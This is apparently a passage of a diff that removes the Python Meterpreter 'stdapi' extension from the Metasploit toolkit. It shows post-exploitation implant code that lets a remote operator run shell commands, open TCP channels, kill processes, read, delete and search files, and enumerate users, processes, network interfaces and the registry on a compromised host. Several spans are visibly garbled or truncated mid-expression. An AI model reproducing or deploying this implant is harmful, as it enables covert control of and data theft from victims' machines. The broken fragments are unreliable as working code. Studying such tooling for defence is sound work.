TLV_META_TYPE_UINT | 4010 -TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011 -TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012 -TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013 - -## -# Power -## -TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100 -TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101 - -## -# Sys -## -PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0) -PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1) -PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2) -PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3) - -PROCESS_ARCH_UNKNOWN = 0 -PROCESS_ARCH_X86 = 1 -PROCESS_ARCH_X64 = 2 -PROCESS_ARCH_IA64 = 3 - -## -# Errors -## -ERROR_SUCCESS = 0 -# not defined in original C implementation -ERROR_FAILURE = 1 - -# Special return value to match up with Windows error codes for network -# errors. -ERROR_CONNECTION_ERROR = 10000 - -# Windows Constants -GAA_FLAG_SKIP_ANYCAST = 0x0002 -GAA_FLAG_SKIP_MULTICAST = 0x0004 -GAA_FLAG_INCLUDE_PREFIX = 0x0010 -GAA_FLAG_SKIP_DNS_SERVER = 0x0080 -PROCESS_TERMINATE = 0x0001 -PROCESS_VM_READ = 0x0010 -PROCESS_QUERY_INFORMATION = 0x0400 -PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 - -WIN_AF_INET = 2 -WIN_AF_INET6 = 23 - -# Linux Constants -RTM_GETLINK = 18 -RTM_GETADDR = 22 -RTM_GETROUTE = 26 - -IFLA_ADDRESS = 1 -IFLA_BROADCAST = 2 -IFLA_IFNAME = 3 -IFLA_MTU = 4 - -IFA_ADDRESS = 1 -IFA_LABEL = 3 - -meterpreter.register_extension('stdapi') - -def calculate_32bit_netmask(bits): - if bits == 32: - return 0xffffffff - return ((0xffffffff << (32-(bits%32))) & 0xffffffff) - -def cstruct_unpack(structure, raw_data): - if not isinstance(structure, ctypes.Structure): - structure = structure() - ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure)) - return structure - -def get_stat_buffer(path): - si = os.stat(path) - rdev = 0 - if hasattr(si, 'st_rdev'): - rdev = si.st_rdev - blksize = 0 - if hasattr(si, 'st_blksize'): - blksize = si.st_blksize - blocks = 0 - if hasattr(si, 'st_blocks'): - blocks = si.st_blocks - st_buf = struct.pack('> 8) - dwBuild = ((dwVersion & 0xffff0000) >> 16) - return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild)) - -@meterpreter.register_function -def channel_open_stdapi_fs_file(request, response): - fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE) - if fmode: - fmode = fmode['value'] - fmode = fmode.replace('bb', 'b') - else: - fmode = 'rb' - file_h = open(unicode(fpath), fmode) - channel_id = meterpreter.add_channel(MeterpreterFile(file_h)) - response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def channel_open_stdapi_net_tcp_client(request, response): - host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value'] - port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value'] - local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST) - local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT) - retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1) - connected = False - for i in range(retries + 1): - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3.0) - if local_host.get('value') and local_port.get('value'): - sock.bind((local_host['value'], local_port['value'])) - try: - sock.connect((host, port)) - connected = True - break - except: - pass - if not connected: - return ERROR_CONNECTION_ERROR, response - channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock)) - response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def channel_open_stdapi_net_tcp_server(request, response): - local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0') - local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value'] - server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - server_sock.bind((local_host, local_port)) - server_sock.listen(socket.SOMAXCONN) - channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock)) - response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_config_getenv(request, response): - for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE): - pgroup = bytes() - env_var = env_var['value'] - env_var = env_var.replace('%', '') - env_var = env_var.replace('$', '') - env_val = os.environ.get(env_var) - if env_val: - pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var) - pgroup += tlv_pack(TLV_TYPE_ENV_VALUE, env_val) - response += tlv_pack(TLV_TYPE_ENV_GROUP, pgroup) - return ERROR_SUCCESS, response - -@meterpreter.register_function_windll -def stdapi_sys_config_getsid(request, response): - token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess()) - if not token: - return error_result_windows(), response - sid_str = ctypes.c_char_p() - if not ctypes.windll.advapi32.ConvertSidToStringSidA(token.User.Sid, ctypes.byref(sid_str)): - return error_result_windows(), response - sid_str = str(ctypes.string_at(sid_str)) - response += tlv_pack(TLV_TYPE_SID, sid_str) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_config_getuid(request, response): - if has_pwd: - username = pwd.getpwuid(os.getuid()).pw_name - elif has_windll: - token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess()) - if not token: - return error_result_windows(), response - username = get_username_from_token(token) - if not username: - return error_result_windows(), response - else: - username = getpass.getuser() - response += tlv_pack(TLV_TYPE_USER_NAME, username) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_config_sysinfo(request, response): - uname_info = platform.uname() - response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1]) - response += tlv_pack(TLV_TYPE_OS_NAME, uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3]) - arch = uname_info[4] - if has_windll: - arch = windll_GetNativeSystemInfo() - if arch == PROCESS_ARCH_IA64: - arch = 'IA64' - elif arch == PROCESS_ARCH_X64: - arch = 'x86_64' - elif arch == PROCESS_ARCH_X86: - arch = 'x86' - else: - arch = uname_info[4] - response += tlv_pack(TLV_TYPE_ARCHITECTURE, arch) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_process_close(request, response): - proc_h_id = packet_get_tlv(request, TLV_TYPE_HANDLE) - if not proc_h_id: - return ERROR_SUCCESS, response - proc_h_id = proc_h_id['value'] - del meterpreter.processes[proc_h_id] - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_process_execute(request, response): - cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value'] - raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS) - if raw_args: - raw_args = raw_args['value'] - else: - raw_args = "" - flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value'] - if len(cmd) == 0: - return ERROR_FAILURE, response - if os.path.isfile('/bin/sh'): - args = ['/bin/sh', '-c', cmd + ' ' + raw_args] - else: - args = [cmd] - args.extend(shlex.split(raw_args)) - if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): - if has_pty: - master, slave = pty.openpty() - if has_termios: - settings = termios.tcgetattr(master) - settings[3] = settings[3] & ~termios.ECHO - termios.tcsetattr(master, termios.TCSADRAIN, settings) - proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0) - proc_h.stdin = os.fdopen(master, 'wb') - proc_h.stdout = os.fdopen(master, 'rb') - proc_h.stderr = open(os.devnull, 'rb') - else: - proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - proc_h.echo_protection = True - proc_h.start() - else: - proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - proc_h_id = meterpreter.add_process(proc_h) - response += tlv_pack(TLV_TYPE_PID, proc_h.pid) - response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id) - if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): - channel_id = meterpreter.add_channel(proc_h) - response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_process_getpid(request, response): - response += tlv_pack(TLV_TYPE_PID, os.getpid()) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_process_kill(request, response): - for pid in packet_enum_tlvs(request, TLV_TYPE_PID): - pid = pid['value'] - if has_windll: - k32 = ctypes.windll.kernel32 - proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid) - if not proc_h: - return error_result_windows(), response - if not k32.TerminateProcess(proc_h, 0): - return error_result_windows(), response - elif hasattr(os, 'kill'): - os.kill(pid, 9) - else: - return ERROR_FAILURE, response - return ERROR_SUCCESS, response - -def stdapi_sys_process_get_processes_via_proc(request, response): - for pid in os.listdir('/proc'): - pgroup = bytes() - if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit(): - continue - cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb') - cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8'))) - status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read()) - status_data = map(lambda x: x.split('\t',1), status_data.split('\n')) - status = {} - for k, v in filter(lambda x: len(x) == 2, status_data): - status[k[:-1]] = v.strip() - ppid = status.get('PPid') - uid = status.get('Uid').split('\t', 1)[0] - if has_pwd: - uid = pwd.getpwuid(int(uid)).pw_name - if cmd: - pname = os.path.basename(cmd.split(' ', 1)[0]) - ppath = cmd - else: - pname = '[' + status['Name'] + ']' - ppath = '' - pgroup += tlv_pack(TLV_TYPE_PID, int(pid)) - if ppid: - pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid)) - pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid) - pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname) - pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath) - response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) - return ERROR_SUCCESS, response - -def stdapi_sys_process_get_processes_via_ps(request, response): - ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command'] - proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - ps_output = str(proc_h.stdout.read()) - ps_output = ps_output.split('\n') - ps_output.pop(0) - for process in ps_output: - process = process.split() - if len(process) < 4: - break - pgroup = bytes() - pgroup += tlv_pack(TLV_TYPE_PID, int(process[0])) - pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1])) - pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2]) - pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3])) - pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:])) - response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) - return ERROR_SUCCESS, response - -def stdapi_sys_process_get_processes_via_windll(request, response): - TH32CS_SNAPPROCESS = 2 - TOKEN_QUERY = 0x0008 - TokenUser = 1 - k32 = ctypes.windll.kernel32 - pe32 = PROCESSENTRY32() - pe32.dwSize = ctypes.sizeof(PROCESSENTRY32) - proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) - result = k32.Process32First(proc_snap, ctypes.byref(pe32)) - if not result: - return error_result_windows(), response - while result: - proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID) - if not proc_h: - proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID) - exe_path = (ctypes.c_char * 1024)() - success = False - if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'): - success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path)) - elif hasattr(k32, 'GetModuleFileNameExA'): - success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path)) - if not success and hasattr(k32, 'QueryFullProcessImageNameA'): - dw_sz = ctypes.c_uint32() - dw_sz.value = ctypes.sizeof(exe_path) - success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz)) - if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'): - success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path)) - if success: - exe_path = ctypes.string_at(exe_path) - else: - exe_path = '' - process_username = '' - process_token_user = get_token_user(proc_h) - if process_token_user: - process_username = get_username_from_token(process_token_user) or '' - parch = windll_GetNativeSystemInfo() - is_wow64 = ctypes.c_ubyte() - is_wow64.value = 0 - if hasattr(k32, 'IsWow64Process'): - if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)): - if is_wow64.value: - parch = PROCESS_ARCH_X86 - pgroup = bytes() - pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID) - pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID) - pgroup += tlv_pack(TLV_TYPE_USER_NAME, process_username) - pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile) - pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path) - pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch) - response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) - result = k32.Process32Next(proc_snap, ctypes.byref(pe32)) - k32.CloseHandle(proc_h) - k32.CloseHandle(proc_snap) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_process_get_processes(request, response): - if os.path.isdir('/proc'): - return stdapi_sys_process_get_processes_via_proc(request, response) - elif has_windll: - return stdapi_sys_process_get_processes_via_windll(request, response) - else: - return stdapi_sys_process_get_processes_via_ps(request, response) - return ERROR_FAILURE, response - -@meterpreter.register_function -def stdapi_fs_chdir(request, response): - wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] - os.chdir(unicode(wd)) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_delete(request, response): - file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value'] - os.unlink(unicode(file_path)) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_delete_dir(request, response): - dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] - dir_path = unicode(dir_path) - if os.path.islink(dir_path): - del_func = os.unlink - else: - del_func = shutil.rmtree - del_func(dir_path) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_delete_file(request, response): - file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - os.unlink(unicode(file_path)) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_file_expand_path(request, response): - path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - if has_windll: - path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8')) - path_out = (ctypes.c_char * 4096)() - path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out)) - result = str(ctypes.string_at(path_out)) - elif path_tlv == '%COMSPEC%': - result = '/bin/sh' - elif path_tlv in ['%TEMP%', '%TMP%']: - result = '/tmp' - else: - result = os.getenv(path_tlv, path_tlv) - if not result: - return ERROR_FAILURE, response - response += tlv_pack(TLV_TYPE_FILE_PATH, result) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_file_move(request, response): - oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value'] - newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - os.rename(unicode(oldname), unicode(newname)) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_getwd(request, response): - if hasattr(os, 'getcwdu'): - wd = os.getcwdu() - else: - wd = os.getcwd() - response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_ls(request, response): - path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] - path = os.path.abspath(unicode(path)) - glob = '*' - if any((c in ['*','[','?']) for c in path): - glob = os.path.basename(path) - path = os.path.dirname(path) - for file_name in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(path)): - file_path = os.path.join(path, file_name) - response += tlv_pack(TLV_TYPE_FILE_NAME, file_name) - response += tlv_pack(TLV_TYPE_FILE_PATH, file_path) - response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path)) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_md5(request, response): - try: - import hashlib - m = hashlib.md5() - except ImportError: - import md5 - m = md5.new() - path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - m.update(open(path, 'rb').read()) - response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest()) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_mkdir(request, response): - dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] - dir_path = unicode(dir_path) - if not os.path.isdir(dir_path): - os.mkdir(dir_path) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_search(request, response): - search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.') - search_root = ('' or '.') # sometimes it's an empty string - search_root = unicode(search_root) - glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value'] - recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value'] - if recurse: - for root, dirs, files in os.walk(search_root): - for f in filter(lambda f: fnmatch.fnmatch(f, glob), files): - file_tlv = '' - file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root) - file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f) - file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size) - response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv) - else: - for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)): - file_tlv = '' - file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root) - file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f) - file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size) - response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_separator(request, response): - response += tlv_pack(TLV_TYPE_STRING, os.sep) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_sha1(request, response): - try: - import hashlib - m = hashlib.sha1() - except ImportError: - import sha - m = sha.new() - path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - m.update(open(path, 'rb').read()) - response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest()) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_stat(request, response): - path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - st_buf = get_stat_buffer(unicode(path)) - response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_net_config_get_interfaces(request, response): - if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'): - interfaces = stdapi_net_config_get_interfaces_via_netlink() - elif has_osxsc: - interfaces = stdapi_net_config_get_interfaces_via_osxsc() - elif has_windll: - interfaces = stdapi_net_config_get_interfaces_via_windll() - else: - return ERROR_FAILURE, response - for iface_info in interfaces: - iface_tlv = bytes() - iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown')) - iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00')) - if 'mtu' in iface_info: - iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu']) - if 'flags' in iface_info: - iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags']) - iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index']) - for address in iface_info.get('addrs', []): - iface_tlv += tlv_pack(TLV_TYPE_IP, address[1]) - if isinstance(address[2], (int, long)): - iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2]) - else: - iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2]) - response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv) - return ERROR_SUCCESS, response - -def stdapi_net_config_get_interfaces_via_netlink(): - rta_align = lambda l: l+3 & ~3 - iface_flags = { - 0x0001: 'UP', - 0x0002: 'BROADCAST', - 0x0008: 'LOOPBACK', - 0x0010: 'POINTTOPOINT', - 0x0040: 'RUNNING', - 0x0100: 'PROMISC', - 0x1000: 'MULTICAST' - } - iface_flags_sorted = list(iface_flags.keys()) - # Dictionaries don't maintain order - iface_flags_sorted.sort() - interfaces = {} - - responses = netlink_request(RTM_GETLINK) - for res_data in responses: - iface = cstruct_unpack(IFINFOMSG, res_data) - iface_info = {'index':iface.index} - flags = [] - for flag in iface_flags_sorted: - if (iface.flags & flag): - flags.append(iface_flags[flag]) - iface_info['flags'] = ' '.join(flags) - cursor = ctypes.sizeof(IFINFOMSG) - while cursor < len(res_data): - attribute = cstruct_unpack(RTATTR, res_data[cursor:]) - at_len = attribute.len - attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)] - cursor += rta_align(at_len) - - if attribute.type == IFLA_ADDRESS: - iface_info['hw_addr'] = attr_data - elif attribute.type == IFLA_IFNAME: - iface_info['name'] = attr_data - elif attribute.type == IFLA_MTU: - iface_info['mtu'] = struct.unpack('= 96: - netmask = struct.pack('!iiiI', -1, -1, -1, calculate_32bit_netmask(nm_bits)) - elif nm_bits >= 64: - netmask = struct.pack('!iiII', -1, -1, calculate_32bit_netmask(nm_bits), 0) - elif nm_bits >= 32: - netmask = struct.pack('!iIII', -1, calculate_32bit_netmask(nm_bits), 0, 0) - else: - netmask = struct.pack('!IIII', calculate_32bit_netmask(nm_bits), 0, 0, 0) - addr_list = iface_info.get('addrs', []) - addr_list.append((iface.family, attr_data, netmask)) - iface_info['addrs'] = addr_list - elif attribute.type == IFA_LABEL: - iface_info['name'] = attr_data - interfaces[iface.index] = iface_info - return interfaces.values() - -def stdapi_net_config_get_interfaces_via_osxsc(): - ds = osxsc.SCDynamicStoreCreate(None, 'GetInterfaceInformation', None, None) - entities = [] - entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv4)) - entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv6)) - patterns = osxsc.CFArrayCreate(None, entities, len(entities), osxsc.kCFTypeArrayCallBacks) - values = osxsc.SCDynamicStoreCopyMultiple(ds, None, patterns) - interfaces = {} - for key, value in values.items(): - iface_name = key.split('/')[3] - iface_info = interfaces.get(iface_name, {}) - iface_info['name'] = str(iface_name) - if key.endswith('IPv4'): - family = socket.AF_INET - elif key.endswith('IPv6'): - family = socket.AF_INET6 - else: - continue - iface_addresses = iface_info.get('addrs', []) - for idx in range(len(value['Addresses'])): - if family == socket.AF_INET: - iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), inet_pton(family, value['SubnetMasks'][idx]))) - else: - iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), value['PrefixLength'][idx])) - iface_info['addrs'] = iface_addresses - interfaces[iface_name] = iface_info - for iface_ref in osxsc.SCNetworkInterfaceCopyAll(): - iface_name = osxsc.SCNetworkInterfaceGetBSDName(iface_ref) - if not iface_name in interfaces: - iface_type = osxsc.SCNetworkInterfaceGetInterfaceType(iface_ref) - if not iface_type in ['Ethernet', 'IEEE80211']: - continue - interfaces[iface_name] = {'name': str(iface_name)} - iface_info = interfaces[iface_name] - mtu = osxsc.SCNetworkInterfaceCopyMTU(iface_ref, None, None, None)[1] - iface_info['mtu'] = mtu - hw_addr = osxsc.SCNetworkInterfaceGetHardwareAddressString(iface_ref) - if hw_addr: - hw_addr = hw_addr.replace(':', '') - hw_addr = hw_addr.decode('hex') - iface_info['hw_addr'] = hw_addr - ifnames = list(interfaces.keys()) - ifnames.sort() - for iface_name, iface_info in interfaces.items(): - iface_info['index'] = ifnames.index(iface_name) - return interfaces.values() - -def stdapi_net_config_get_interfaces_via_windll(): - iphlpapi = ctypes.windll.iphlpapi - if not hasattr(iphlpapi, 'GetAdaptersAddresses'): - return stdapi_net_config_get_interfaces_via_windll_mib() - Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST) - AdapterAddresses = ctypes.c_void_p() - SizePointer = ctypes.c_ulong() - SizePointer.value = 0 - iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer)) - AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)() - iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer)) - AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value) - AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses) - if AdapterAddresses.u.s.Length <= 72: - return stdapi_net_config_get_interfaces_via_windll_mib() - win_version = windll_GetVersion() - interfaces = [] - pAdapterAddresses = ctypes.byref(AdapterAddresses) - while pAdapterAddresses: - AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses) - pAdapterAddresses = AdapterAddresses.Next - pFirstPrefix = AdapterAddresses.FirstPrefix - iface_info = {} - iface_info['index'] = AdapterAddresses.u.s.IfIndex - if AdapterAddresses.PhysicalAddressLength: - iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength) - iface_desc = ctypes.wstring_at(AdapterAddresses.Description) - if not is_str(iface_desc): - iface_desc = str(iface_desc) - iface_info['name'] = iface_desc - iface_info['mtu'] = AdapterAddresses.Mtu - pUniAddr = AdapterAddresses.FirstUnicastAddress - while pUniAddr: - UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr) - pUniAddr = UniAddr.Next - address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr) - if not address.sa_family in (socket.AF_INET, socket.AF_INET6): - continue - prefix = 0 - if win_version.dwMajorVersion >= 6: - prefix = UniAddr.OnLinkPrefixLength - elif pFirstPrefix: - ip_adapter_prefix = 'QPPIL' - prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix)) - prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4] - iface_addresses = iface_info.get('addrs', []) - if address.sa_family == socket.AF_INET: - iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix)) - else: - iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix)) - iface_info['addrs'] = iface_addresses - interfaces.append(iface_info) - return interfaces - -def stdapi_net_config_get_interfaces_via_windll_mib(): - iphlpapi = ctypes.windll.iphlpapi - table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))() - pdwSize = ctypes.c_ulong() - pdwSize.value = ctypes.sizeof(table) - if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0): - return None - interfaces = [] - table_data = ctypes.string_at(table, pdwSize.value) - entries = struct.unpack('I', table_data[:4])[0] - table_data = table_data[4:] - for i in range(entries): - addrrow = cstruct_unpack(MIB_IPADDRROW, table_data) - ifrow = MIB_IFROW() - ifrow.dwIndex = addrrow.dwIndex - if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0: - continue - iface_info = {} - table_data = table_data[ctypes.sizeof(MIB_IPADDRROW):] - iface_info['index'] = addrrow.dwIndex - iface_info['addrs'] = [(socket.AF_INET, struct.pack(' 3: - break - name = (ctypes.c_char * (ctypes.sizeof(name) * 2)) - tries += 1 - continue - elif result == ERROR_NO_MORE_ITEMS: - result = ERROR_SUCCESS - break - elif result != ERROR_SUCCESS: - break - tries = 0 - response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name)) - index += 1 - return result, response - -@meterpreter.register_function_windll -def stdapi_registry_enum_key(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - return _wreg_enum_key(request, response, hkey) - -@meterpreter.register_function_windll -def stdapi_registry_enum_key_direct(request, response): - err, hkey = _wreg_open_key(request) - if 